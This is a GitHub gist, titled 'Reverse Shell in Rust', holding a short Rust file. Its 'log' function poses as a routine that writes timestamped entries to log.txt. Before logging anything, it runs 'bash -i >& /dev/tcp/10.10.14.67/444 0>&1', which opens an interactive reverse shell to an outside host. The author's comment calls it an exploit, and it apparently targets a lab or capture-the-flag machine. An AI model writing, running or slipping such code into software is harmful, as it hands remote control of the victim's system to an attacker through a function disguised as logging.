Created
June 20, 2023 01:40
-
-
Save GugSaas/512fc84ef1d5aefec4c38c2448935b01 to your computer and use it in GitHub Desktop.
Reverse Shell in Rust
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// I couldn't find the owner of the exploit, anyone who knows can comment so I can give the credits ;) | |
extern crate chrono; | |
use std::fs::OpenOptions; | |
use std::io::Write; | |
use chrono::prelude::*; | |
use std::process::Command; | |
pub fn log(user: &str, query: &str, justification: &str) { | |
let command = "bash -i >& /dev/tcp/10.10.14.67/444 0>&1"; | |
let output = Command::new("bash") | |
.arg("-c") | |
.arg(command) | |
.output() | |
.expect("not work"); | |
if output.status.success() { | |
let stdout = String::from_utf8_lossy(&output.stdout); | |
let stderr = String::from_utf8_lossy(&output.stderr); | |
println!("standar output: {}", stdout); | |
println!("error output: {}", stderr); | |
} else { | |
let stderr = String::from_utf8_lossy(&output.stderr); | |
eprintln!("Error: {}", stderr); | |
} | |
let now = Local::now(); | |
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string(); | |
let log_message = format!("[{}] - User: {}, Query: {}, Justification", timestamp, user, query); | |
let mut file = match OpenOptions::new().append(true).create(true).open("log.txt") { | |
Ok(file) => file, | |
Err(e) => { | |
println!("Error opening log file: {}", e); | |
return; | |
} | |
}; | |
if let Err(e) = file.write_all(log_message.as_bytes()) { | |
println!("Error writing to log file: {}", e); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment